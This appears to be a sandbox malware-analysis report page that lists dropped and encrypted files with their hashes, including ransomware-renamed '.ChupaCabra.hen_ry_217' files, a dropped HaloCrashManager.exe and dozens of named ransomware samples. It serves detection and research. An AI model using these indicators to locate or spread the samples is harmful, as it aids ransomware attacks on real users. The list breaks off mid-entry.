                                ffca3997bd4e29111bd89fa1d2d98b89facc384602e294e983fe15f91d7fdfb66c38768a4f833ef1dda381b0042a50e0cf3126e12109f03d6ff8eb9d8bac8e17

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133727656226049089.txt
                                Filesize

                                77KB

                                MD5

                                6526a363b17a87c0b8f601b2e2730b63

                                SHA1

                                efff7268bc7d0599ab23a623cf9c30d3a6d64317

                                SHA256

                                fd1ed5af829a94a0470c4ce2ece425bfcddbfc39fef2a3b796ddfe73928f7a3e

                                SHA512

                                1576a0b3e21bc9b39faecb49981f2509c7bc2c700ecbbcda213ce4dc072c8d217fbcbcaf78abcd2fff4dd620b1197ca56af3c31ab18856f4df5096481e6c15eb

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133727656290145573.txt.ChupaCabra.hen_ry_217
                                Filesize

                                77KB

                                MD5

                                9446bdeaee165ddfb78bbe0e85d38e05

                                SHA1

                                7fa45a6aff8701455920907c52d10856b01e4001

                                SHA256

                                31f669def295ec02276f5fca1858dd9dff4cb9e628e0a58f5589c5bf35e60ab5

                                SHA512

                                17e5173d0fe3fab603219f980d3d00437ddea02b46d19334f4615fb2b69ba3ced872ae49ffee5757ba6ecd024947e1ccce7156bff3d97fdb11afb40aa80d9877

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133727656623420834.txt
                                Filesize

                                47KB

                                MD5

                                eafbacf9e95db3ee969c685aad20bdd7

                                SHA1

                                732a0f04b3a2a460ed1e399f4a6219ee894077ef

                                SHA256

                                93f616c84a012e7f5db3a9de90c5760480a48887c5de84dbdad6661ca0a0268b

                                SHA512

                                df3f4062dc0f46de17a58c96d6d339aa52ec0ffa8be6ddbb79f57419f6eed0061d26465b87bc3f96cd2af8c438e0cb621f183f991a1500c366677b7208ccc806

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133727657695736094.txt.ChupaCabra.hen_ry_217
                                Filesize

                                47KB

                                MD5

                                7c90739af4911fd04966407e75ab47b3

                                SHA1

                                1e1fa2f637d06df1141331017dc03e627ac25a27

                                SHA256

                                05a2b6df66e66d03aae0c2f63a9f9d3d47942279bef72354130a4f08d559647f

                                SHA512

                                a6d4adb92b0c77bdd8311bb02d5040d7faacd33dd144eff8bf32102645f1a7d481e881be87903295015b719f88006081406278adb20c951691c71b9ea6b2b0ef

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133727663536793873.txt
                                Filesize

                                63KB

                                MD5

                                5ff8d55e3e783f16a1e15cda7978e244

                                SHA1

                                9e703327527972e830fadb3f762f5cf78f23b97c

                                SHA256

                                4a55b5a416ab0352a3dece9882a25b68719bf66caa2e468b1234e6c502dfe792

                                SHA512

                                511173a276d610961d5a5bf8ddf18ca1a78b2e248d10c66261207106cd88480272307d5adb44190160a2f881c9fc75310c7e5d6ba40d8dcab0f778f7c3020128

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133727664505006447.txt.ChupaCabra.hen_ry_217
                                Filesize

                                65KB

                                MD5

                                b66262813416f285dd9e2c33a6c8d4e5

                                SHA1

                                fc5ae47836b71b20f5e5df95cb305929a5c47c41

                                SHA256

                                93489843a81c5c379cb4a3daeeee92190f95e607727ef73a095cf9b035729ec9

                                SHA512

                                7a46ad79465b5c9ec6b6e8049add10fadd12aba8c499b755b4aaa9e4f2defcee660ec22e933b8c4065c152b2a627fd71cc24f3dcfd2849028ed2e0833118fb32

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133727666235612999.txt
                                Filesize

                                74KB

                                MD5

                                b80e93a0193e072b900be2df88d670bf

                                SHA1

                                1d3f494ba8bdc65e2edb1e6f44d17986dc91dcf3

                                SHA256

                                e1000676aaff9fe4e71dce85d7a1330785c5c42c021c69ef24dc60faf0d95894

                                SHA512

                                383ca0e82c65c89f8b240de56100388b649adb7ffb1810903b1ce9aa32943f3a0706ca58279d6555087139c90b8983b24672ee0f16c4dc838f2fd9148e9d03fd

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133727714550563675.txt.ChupaCabra.hen_ry_217
                                Filesize

                                74KB

                                MD5

                                040d46c4a0dc68da291955d2b0fb144e

                                SHA1

                                fc66e8bddda202c10395f0f6fc70b742b3ac697f

                                SHA256

                                00b594ffc2bf5998d4a72a61dd92088365d1579383a7edb22f9dcf8837334c95

                                SHA512

                                1f09b3a98a93a1ebec083b99186d4be5ca71b6b8b278a478426b906a69f4ef0184716a2c2d574833bb77e079aaf0dd98f7b811961df310d5e2d2b365c3196268

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ykek2jrj.foi.ps1
                                Filesize

                                60B

                                MD5

                                d17fe0a3f47be24a6453e9ef58c94641

                                SHA1

                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                SHA256

                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                SHA512

                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                Download Submit

                              • C:\Users\Admin\AppData\Local\Temp\wct5356.tmp
                                Filesize

                                63KB

                                MD5

                                38e62f5bc83048fd5d773374f7500656

                                SHA1

                                e9775cdedc09332ef25b0bb41e4a0322e4afd915

                                SHA256

                                8ade238751e6a4a0aea5e8b03c660e4fb3fcec29c1cc70c5da40f56a969a1723

                                SHA512

                                fb6d03e44f965a8481a415a35fd62005d8597c91d44094180a4458ae38f55c8ccc0687a728ce4767059a145ae2d7fd2917d558ba5baf9770ef8ef6acc5923837

                                Download Submit

                              • C:\Users\Admin\AppData\Roaming\HaloCrashManager.exe
                                Filesize

                                376KB

                                MD5

                                6880d14598afcfd948d794de51030df4

                                SHA1

                                2dbbc0d5e380f2ba369b91c7dbd957fd3e24278b

                                SHA256

                                4e0a8b03b29148b14ca79f018004fc2b6581b43f779c98e86d2dcbdaa8fbe054

                                SHA512

                                16f4e6880a51428711e6d763c587804b5867612105cb2ae552c977af174a11e9478a39e0e4b495651239b4de3a315e22e05436aff007948d8e1dfe383396ff83

                                Download Submit

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                                Filesize

                                8KB

                                MD5

                                0bdf0717097410c16e23234dac60ac4e

                                SHA1

                                15ecb0ed0fb1659b47d018f3635e88c948bebf58

                                SHA256

                                8cb98c200a3d01dd3de07a06e36dde4d31a832d0ccb77fe3a50366d40c021e08

                                SHA512

                                4151cdfbab18288d9aa6c5adb6ed1977f1a26357fc358d26e04dfdeae174b98ce60fa77cf2b4efaee3db27042a18ffc5064606a2412e132da0cb87e4f5d63206

                                Download Submit

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\data.zip
                                Filesize

                                147KB

                                MD5

                                5a9f4f4aeb9440d7151e0116287d002b

                                SHA1

                                9e4f28df3c4e5c91c8b25fe5736e6223439f5a07

                                SHA256

                                655dfe6b9569da5f17c50df79809b113af3f92d833e277e75e17affea708a16b

                                SHA512

                                e4cd0fe635a00a12749ce1eb13803a7f126b0b7a17b5a179217387d66379be77a4869f477eda2fb0c50359d67ab935b6cf148fa59f47db05647e04ca4325305d

                                Download Submit

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yuzka873.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite-shm.hen_ry_217
                                Filesize

                                32KB

                                MD5

                                520484e7329031f952c3a19e7bf9180a

                                SHA1

                                0f70f8821fef15e86db6cb6e5b23ffed9f6a772e

                                SHA256

                                d8fefe5dce9de32305d73b241da2fa1f52daeaad75dd7dfa08f58c439cc0e87c

                                SHA512

                                f27a4d68340b3278e44d121767276ad2b9d4b3bbce632fdc2d59a310f41c14d54b80fcd36bb4cbc81631d5994694366e0fcdc632ec10497b6d3cb8bdba8a6f26

                                Download Submit

                              • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\yuzka873.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.hen_ry_217
                                Filesize

                                48KB

                                MD5

                                1686a985cf10df9c6ff39887ee919b30

                                SHA1

                                26f582c08b6759d01ee10642f96e457c2c124b90

                                SHA256

                                9390d4ee699a3de4341945341ff05eb60256115b7b7b8a5bfb0a2b2e9125a92e

                                SHA512

                                77f721f6e97d587736ea59187c9bf36215c044f394edb725444729002327c4c911647eb52b474af1c87f91ebf63b3e5b7f722d9095ba2a32c5cae39be0062554

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Agent.gen-8db5a7e8ecb462877ccf2afb0b4aa622ec9fb5e1c97b94b9181ba5aed493c924.exe
                                Filesize

                                3.3MB

                                MD5

                                822ed05f0874b441897e0b60c07f4e70

                                SHA1

                                1d8baf0821521e4a31bfd0fdd2746d7e087c29dc

                                SHA256

                                8db5a7e8ecb462877ccf2afb0b4aa622ec9fb5e1c97b94b9181ba5aed493c924

                                SHA512

                                e606a25321240493482903eda3978960911325e4ece984312c75e22735ce98242f152680275bfa9421e24b065fa5d89cc4f6423a574ce0127b737f83437dfd21

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Blocker.gen-0b6311976a5d7d94c5bf373e982e9e03ea64cb4869b9399fb1f90c122cb2ced2.exe
                                Filesize

                                5.0MB

                                MD5

                                a15b2ec99adc0f21b1ad7eb2eaa18ddf

                                SHA1

                                f8a16953dabd94ffbc139708dfd2ed04194d873b

                                SHA256

                                0b6311976a5d7d94c5bf373e982e9e03ea64cb4869b9399fb1f90c122cb2ced2

                                SHA512

                                a633774bec4d8d0d14c9f92187a112a2721511b0f9cd7a68bd54b28a7f4476b6e3197ae1a05b9f8a10ff80dfe60c3458cb0a548b7b376dc7b330a8af03e36b5d

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Blocker.gen-a71439038e233769c09acbe0dfc5849f148c442cd948ba0846032c2749e49841.exe
                                Filesize

                                8.7MB

                                MD5

                                49d86d55cd552810ff3b3eeacdfbbbc7

                                SHA1

                                325f4b114c3dab3ea86acbdfa77af94aa91413cc

                                SHA256

                                a71439038e233769c09acbe0dfc5849f148c442cd948ba0846032c2749e49841

                                SHA512

                                392c0da59c2c32a3d02d32b69e17ca8bc637d7726a90ec9320a54144fb167611ee19fae232ee7bb0acb65e7f59425160306bdce40db4e164790b770f60e4a748

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Blocker.gen-dc49095fcd5e9570cfb960eda734dab0d1ac8dec4bfc94beb9885b618e0419bf.exe
                                Filesize

                                2.0MB

                                MD5

                                53bf6d96ef2717b36e20b37a94890435

                                SHA1

                                83a1fa433cedb3bc9984434306d62c379cbad7ef

                                SHA256

                                dc49095fcd5e9570cfb960eda734dab0d1ac8dec4bfc94beb9885b618e0419bf

                                SHA512

                                08cf8a987c4a09d50c0ba2644fa999a3dcc88669e80f5bc9d1145f237755529d77a43ce8b9e55b39a87168d98b788e33c5b7ab28b24d0dd733c8d0b7f51168b5

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Blocker.gen-e0343b10e9950a4bccf60b86d066e0d949acfdfe65b03c0166ecad43fdc3d906.exe
                                Filesize

                                1024KB

                                MD5

                                981fc0428f1c9c82d1962d7b2748ea25

                                SHA1

                                e1e6f04f81f566d348c790c11d6db77895aaaa96

                                SHA256

                                e0343b10e9950a4bccf60b86d066e0d949acfdfe65b03c0166ecad43fdc3d906

                                SHA512

                                b0817cb9e71f3081784007a7e59015a4841ba920d1e3388b01d2af1f61f43afa8197e098f0af1efbbf726f855383da9f754a2e364540a99117f8d5af740ef290

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Crypmod.gen-8f19f0be0349a4dff7409c9f02fa1451e5c11db898dd556d4eb4b068055c64ab.exe
                                Filesize

                                250KB

                                MD5

                                fd920efe7864f12257fbfbf470e8b0c5

                                SHA1

                                51697b0ef0fb3872fba492a8c3e728d24cad2eee

                                SHA256

                                8f19f0be0349a4dff7409c9f02fa1451e5c11db898dd556d4eb4b068055c64ab

                                SHA512

                                1eb7678db52c85513bc7bac49ebf3eae0bd67f10c277eeb8ff63414241878cece13ea0205f5e68174030f0b3b6afa51a6c9dd2109ab6e336e6cb263bf8194944

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Encoder.gen-d56cfe09f291b11e27b84ede219459ede65652a19596a0b33f8a3ef871236cf5.exe
                                Filesize

                                81KB

                                MD5

                                9c543a3b162b8e9317c717892ba47691

                                SHA1

                                52980b81ca21b6c02793272dea788f18c03c66bf

                                SHA256

                                d56cfe09f291b11e27b84ede219459ede65652a19596a0b33f8a3ef871236cf5

                                SHA512

                                502a5390c777c4c8f3848c66b7accc670b0ebbc7947253d8bb2c73e3b55097870f97142088d337c125d0e545a96ac3e06688c81a0f4935541439a7d58d918c04

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Foreign.gen-7eeac3f16e37b79ee6ba5e1ecf9a7d9ce9530b03c0bfd304fd6d49b73ab95d40.exe
                                Filesize

                                10.3MB

                                MD5

                                8d3690ce3ea7026a252c7cbd7493e29f

                                SHA1

                                80395062eb010e0417517f7a717d9ecd99d79b74

                                SHA256

                                7eeac3f16e37b79ee6ba5e1ecf9a7d9ce9530b03c0bfd304fd6d49b73ab95d40

                                SHA512

                                cb7713718062778afc08a14b95d9a601b3e5032fee7d0c0d5e84170f4f7fcdab1a621b9201f873ab6545fd63fd7ae650f57ccf11ae3f091416099951ff4fcd23

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Foreign.gen-db0f9c5c6b247603127dc428a00fa1cbfa59edfb950d0153c819939d26b818f8.exe
                                Filesize

                                183KB

                                MD5

                                7ee93cc59d2983c67c9071b1c46813bb

                                SHA1

                                c2dc925dbdb1fdde4008c77fd9691f5e07e8edf9

                                SHA256

                                db0f9c5c6b247603127dc428a00fa1cbfa59edfb950d0153c819939d26b818f8

                                SHA512

                                e4ecdccb1f4b1d2cc693f5c12ea4e2023d49c08e1b28800a95bc7e9e0285263e1685d05fd81320d3d6c28741dbd1ffeec36bfdd36256f0b96d534065c7df91c6

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Gen.gen-4757048cf54fb2fd010e691e63df025ad78de2d45fe9e0441b6543cfbcd1bef6.exe
                                Filesize

                                624KB

                                MD5

                                33b9a63922a14410d8333b2f29624f73

                                SHA1

                                3b3926258741bedc9d986d18a67bf5b2f728b9ad

                                SHA256

                                4757048cf54fb2fd010e691e63df025ad78de2d45fe9e0441b6543cfbcd1bef6

                                SHA512

                                a8cbce75f12742a059023369f2b7c365fbea77e6d778d8bbcae0f2192406d35a0773521984a4fc13b2f88f9fea1884db432eccb40bb598af68b40147d575fe0e

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Gen.gen-77557adab2518d6bc7f6233c17c5f52f35e30edf06f8b4fe984e808050459a8e.exe
                                Filesize

                                184KB

                                MD5

                                f511a397f63dda03be9109a5f3cb0206

                                SHA1

                                7427c79156f271557ba0dfe782d5e960d9a11435

                                SHA256

                                77557adab2518d6bc7f6233c17c5f52f35e30edf06f8b4fe984e808050459a8e

                                SHA512

                                321600f58d08ced266c854700ef8500cdeba09d2d80e2264e46b6da85020c935a613d2b9cf924a4f5246aa16564d5dc3878705815016356b3b7bbb59a04c640b

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Gen.gen-c698def6ac01a742950b73f5fedd1c7d42c6654276efa00b43a1776590371633.exe
                                Filesize

                                297KB

                                MD5

                                e79d0b9cba0b78d8b298e4ac81d03546

                                SHA1

                                00af66f805c4fe2a67dc2595ed36f4cb64a2add9

                                SHA256

                                c698def6ac01a742950b73f5fedd1c7d42c6654276efa00b43a1776590371633

                                SHA512

                                4f3e6b6e57c7e8bd7fd55ed98a006311f7783ce6573320ec98b010465d84a50c311011f30eadb644fe315b1c5eb8a90f549dad24fde8504099040dc4a87d2c79

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.MSIL.Thanos.gen-025ecab4eed0ccb1d35c88c7b776aa41841951f2af6b2af61e803eb32f7b78e4.exe
                                Filesize

                                110KB

                                MD5

                                a06bec7c8fe473dd187eec2d5d2acc67

                                SHA1

                                4151c0beb895a4d4d2463bc32b03c4bda8ce73ad

                                SHA256

                                025ecab4eed0ccb1d35c88c7b776aa41841951f2af6b2af61e803eb32f7b78e4

                                SHA512

                                a5a5bb1ead1b10df35efb5f0960225fdab82c852409216f3e9c45d2bcd9608cd05dd030149719124fff28bad5f24f80e68b21fe469defd200708b5653ed0263a

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Blocker.gen-57e28a184815ec575eb6a3d79b359d4c7ffe8c28d4bc8505ee3455be94e55864.exe
                                Filesize

                                281KB

                                MD5

                                fbd440504fa6ea48f9322668a89cd19d

                                SHA1

                                59348b717643f5d7d372da3237f6a080f040778d

                                SHA256

                                b7eb5b384908655b4ebbd8ab5ea10e1ea398db1d9c76354c0c83285b5cd99cd6

                                SHA512

                                d58902a14d083653f5dbbd12caed74648040fda0f11a0f916a6cf78a12d53ab64d1c99d9d63521f8a3eb811f22db19e7e7ace5ef974fdc3ea2229bd4d24d49df

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Cryptor.gen-d7868354f2dfe79e91adef4f7b24bcb60772a76c577bcc5c71709c8a3e26eb5d.exe
                                Filesize

                                190KB

                                MD5

                                19291cdb21a1f61831911640ff4836de

                                SHA1

                                e7cb534b81924f86f217a316b7d74df106a7c943

                                SHA256

                                d7868354f2dfe79e91adef4f7b24bcb60772a76c577bcc5c71709c8a3e26eb5d

                                SHA512

                                ed27c74aac819f17c58d52afdd100367f9c7f49fbf23cbb6879677dfd0547d83d48026204a196834293b26f4f5cc1cd42267af2439215a27a174119f4dd1296b

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Encoder.gen-77fcc2e553aa8eac421e18c459fc6b1d7115a0dbe9c90131cb4469c05d69be71.exe
                                Filesize

                                201KB

                                MD5

                                444cd9266168b418a5de8e13c4b90a23

                                SHA1

                                15859902c015548991b3f8fa902a2fbde8e105c8

                                SHA256

                                3897eaca06574689aa6b0335f92511c19e238cddccb099817c8af4d6fe7aaade

                                SHA512

                                dd398e6b082e4fc68450692de85a0781f7c042f579e943951008a0e65af7225f3d34776e0d886316bd74f0764f1d278974cd9e3f743408e20ff7536cba1a5e8d

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Fonix.vho-5f3ccbf252f02e7af4004d734a67c4833f178db8dea8bc5b667c3efd0e4e353c.exe
                                Filesize

                                373KB

                                MD5

                                f159ead661cf3ea75525a32bd8e5e597

                                SHA1

                                6d09c85433b1b3a9404e42a4f9718f9ede8dd5da

                                SHA256

                                0f84c293bb86136a7d46e44c80f432d3da98470bd86aec85287e2151a7b4e44c

                                SHA512

                                7f12371e7eca62593b12547782891d89b6b55266dd9cb7809246fd078b25ea1efc4db7cfca6c7f18f5dfcec176e8cd94030283bb79dc2e9e8b9afd34bda7dba1

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Gen.gen-9bc438b99e14d0f308474bf36e53ed665c16c9896c34e2c17979bc9591be5ade.exe
                                Filesize

                                264KB

                                MD5

                                676ef0070ea44caf5b7a2482975d70a1

                                SHA1

                                51bfc6fafd4107c2c35b348a0102fd2647efae93

                                SHA256

                                78810a1c17047a4e74fd299a73c3882d7f192ca8cbeebbf49008452eff658c9a

                                SHA512

                                31e9490836a75a175b5cf4de3b8ee9b52b6db4f10e2205f6994bf37ae4b822e5b39ac8f9454acb436004df015e2a530dcdb9dea33e433492dff40def684e6710

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Generic-2a19c30b45f7d6c70ee5ed2229205587ec7ac00f6c5d3c3b2007989ed45e8a91.exe
                                Filesize

                                282KB

                                MD5

                                17f4fb4104a42e9890192dd6d13ca372

                                SHA1

                                b2d8ad23c3825b180c88bab5cf7d5d3597332fd5

                                SHA256

                                7de8cb4c51139ef3b747bec4eecf4259a9be7f8d401ae8a3ae17b0367b82cfc5

                                SHA512

                                d626cdca21fc4c7294e903a09f531b9469a59192bd2363b56f35045cce00a9a2796599cddb36bd3bfd190193eb06ac1066ff759374c95d9f8968c2ecd7b61330

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Generic-7da77eaacd0250e24e41bec55fab2055c2709f0cf0f6b391895833f4cd25e95d.exe
                                Filesize

                                1.3MB

                                MD5

                                8968c5087339cb32041093e847e42814

                                SHA1

                                baf2115cd546673ad3d3564e3a10807ba54c40a3

                                SHA256

                                878e9d0b8ff9086fc3939d55bba176c7e49844afd87e7e5ce6af0068e4e0dbb9

                                SHA512

                                78b6bc145c73b7b8a07f8b159c94951290a3f23b8c3200a4ffa906e0a1e341b2165ceb44cee0338ad4486cd6a3bba67df068e1a51009b16a68aaa5be957d7718

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Generic-863e4557e550dd89e5ca0e43c57a3fc1889145c76ec9787e97f76e959fc8e1e1.exe
                                Filesize

                                128KB

                                MD5

                                7450ce9f340ca52eb96fbd89b775431e

                                SHA1

                                f511e421f10c1c41cdbb656b6d0170729aabb251

                                SHA256

                                d788ca69b20967549e567cb03c1f48fb2d1122215a56a1c1955c7102e1f6da23

                                SHA512

                                72674b7b7688a991810ae13d023522bc19ef0a35060ebcce17a6a9ba9899f1f6fec6ec41354612842ed51dbab8aaa99db015fc4d609849cb64f4ff1b5945921c

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Generic-ae8de200ff3dfa85915dcfc2fceed894bdd4ad0638d5ee4220ae9364a3209619.exe
                                Filesize

                                760KB

                                MD5

                                e9f52d446a2433ec494cdd67f86d53c6

                                SHA1

                                d18da13c564beedeb211982857c068d30587fe37

                                SHA256

                                daba93b8e267fa051015d0a8dc1858bb7fe438e4a1b9956fd3db832de6f70b19

                                SHA512

                                ffd990347e833d4aa35e87ab2fbf7e0229e7d183de9794f57a85120070d2ee4d7078c405d4d234c9ed49dd00ace977c48d8209f47ce7a7566b1f1d0c43e529e2

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Generic-d14816ce1f05ba6a420671e2d53781b886efe442f7f8a4761c68680931b3b93d.exe
                                Filesize

                                462KB

                                MD5

                                712a38543bb3e346968bd437d08c428e

                                SHA1

                                01cced5f9480b3b478d69b2109321b8c3dab3ed1

                                SHA256

                                61b7c744318249f233cadd5d89d9cbc6adeda5926118c014e18dd9b6044a6340

                                SHA512

                                f1d3dc5759b61b5499e8455fb54427e6ec7c8c7df8eb056cedd03574c7f8e12952778222cb5c71d0330d41845aa35bab798bd305193bd92e2501f0c2028027be

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Generic-fb638798f6b72be4ff577b31b97383d9bb3afe3f3da6648eca2db7a50251e44f.exe
                                Filesize

                                375KB

                                MD5

                                b31ab6d952798601205c5c7ac8e08d1d

                                SHA1

                                c377c0d0895f014f551a0a8ee38ae08d19684be0

                                SHA256

                                1ce1a28875465bba0631f190ddee5ae56fa4f295027acb884bc3e7d976318716

                                SHA512

                                977acc6dc933d1a1b8876eaf8b36fcaa6d224573aa65b9d2aa04d720f66781d243d21284ed061ce1f0128b1f7cb7653f11e7c0540cad127a2b51e2745b873677

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.PolyRansom.gen-e92569f4768c3a6416529e0529fed35a8350b0481889e2089b316fc408e8ea06.exe
                                Filesize

                                462KB

                                MD5

                                ddd02cb5571ef3a56ba3018b4a75dcd1

                                SHA1

                                07d61fb3e1cb1f752bda4685db1b57d3c2de2786

                                SHA256

                                474daf9c48187b105531a99487bcfafc3615f850e78087efc984d37e302a7944

                                SHA512

                                f7ef931a6a5001ddd32410a6a6cb061cfd88aad2194357cada95bea2bbc4d0163325ba5293acc0b0b88865eae2948a11a3109e87296536c4712010a3a41fa65b

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Sodin.vho-a660c9395c1806a33b169543591a44f10440b4af71309ad2fe65ff1b91a8bf5c.exe
                                Filesize

                                121KB

                                MD5

                                49d437feea7c2ca2eae3d798d3def781

                                SHA1

                                c6167e6ee3b3f1f15a884015306fd4b3faf45423

                                SHA256

                                acb2e7794ceea32a1e419a13b12f59780972b3d10871dd1347a36da664c71adb

                                SHA512

                                ae145d200b8abeaca458db07649b2cc15ecec6da60d76a351804b64bb2f2aafe899105dc603f5db6bb7dbb3e027849fdfc75b3b2adff2f819e51655543e4fce2

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Stop.gen-16bf40060a0544cf49bda85272b976265fb56248c6068d7d95296937af664ecc.exe
                                Filesize

                                3.2MB

                                MD5

                                b3b9efd8078acbbb343fe2a19a9698d3

                                SHA1

                                961fb0cc1d796854bde3dd78cc708c1531df23e0

                                SHA256

                                a825383a102406d11dc8a0e14d648dacfc92831d7e08460857fd02999f8c6d7d

                                SHA512

                                7bcbf59de0951b302dca69cd9374bb6e65df076f26708e1753163c04dfde604769fa666679f62f92a4321370b067fe22eb29fa58fbf82d9f70023fd0b8750ef8

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan-Ransom.Win32.Stop.gen-9f3a122061d4ce7677d0728299243037fb982ccfa7751104f603d134408c4672.exe
                                Filesize

                                876KB

                                MD5

                                82634b03a6b66b72930d3818a813132a

                                SHA1

                                9a7b4ca9b206f30efd53ca1f632a8161c910ce75

                                SHA256

                                ab782e483ee1796dbc1e87bb70a5dd72cc7b711b76431e17e24406bdf86061a5

                                SHA512

                                75ca637b213532659855c770849fab5abd48cbb754e21f2413316b64e6d4e8078bd5ef0e334e7371f6fd0f1a42ffca182f2bd19fca595cc85c837eacd4ef5a71

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan.MSIL.Crypt.gen-0eb2c1dc9f436530ce25a206a384f18325d8530d2152128cca6ae2316c2c3cfe.exe
                                Filesize

                                887KB

                                MD5

                                618d714379c98bf34268cc8782c39c17

                                SHA1

                                a6f97698365989b3689da7457fbbec7e3bcb418f

                                SHA256

                                bbe2eae44bf5ccd41af9d31e7b7cfe3de9ecb032a52df7fa5bc85b20467fddf0

                                SHA512

                                969dd2c9189339f2db4230022f100ec93e1367c852afe02499eaa2b86a3eeb2273e4789e2fffe7e3c7ae9edd128101ce358c56b4c9366ad964c928d926e3997b

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan.MSIL.Crypt.gen-29d1e45b5e54859bc5e01d3a2a85ae58f11e1d80b6d90c74471ea9121edfc03d.exe
                                Filesize

                                343KB

                                MD5

                                89e14abbd0e13c46e2e14b9e0214b3dd

                                SHA1

                                f05c2159b244e15a10f61be5e6aa234d44ce26e5

                                SHA256

                                d087a82958ec4adb9a366e68de273180c1f527fa6eeeb3d6cd364d5d586f5ee1

                                SHA512

                                4d2310af2b4067fbd49ffd9afd9ac7b53f17937926540d7c540aeafc380b694f5183b29d74ec3739dfd5e07ba34145d2e516d158c81f97c0ff5e842783287ea0

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan.MSIL.Crypt.gen-2eb6e6ba567d0bd4e4a7c3c594abefed6b8fe4092d194a0b8bcef47e35d30afe.exe
                                Filesize

                                2.6MB

                                MD5

                                3bbcfc1f55878c426f0d35df6690cbcb

                                SHA1

                                4779a9d5007acb989551c8df479dc1f757a69cea

                                SHA256

                                56b077c16b84729f1861aa17e9a2866d71ecbe2bb0f2924ff0937c4d9b0586b7

                                SHA512

                                790778684a66460aa7a511c0e52abd8f818f89d39b6045e199e6614042ddfe4e47d63c1f25086245e907899f741f446eb3ab46a4342074c39992655ce7fd94e6

                                Download Submit

                              • C:\Users\Admin\Desktop\00444\HEUR-Trojan.MSIL.Crypt.gen-4e42d0281cd21f555d0d089414bd0eda0983740a0c928f43647009390c758484.exe
                                Filesize

                                432KB

                                MD5

                                0c071e4dae59b19eb651b34252960e1e

                                SHA1

                                2e64bf876ad468e73b8c3be6814b91f327dadcd9

                                SHA256

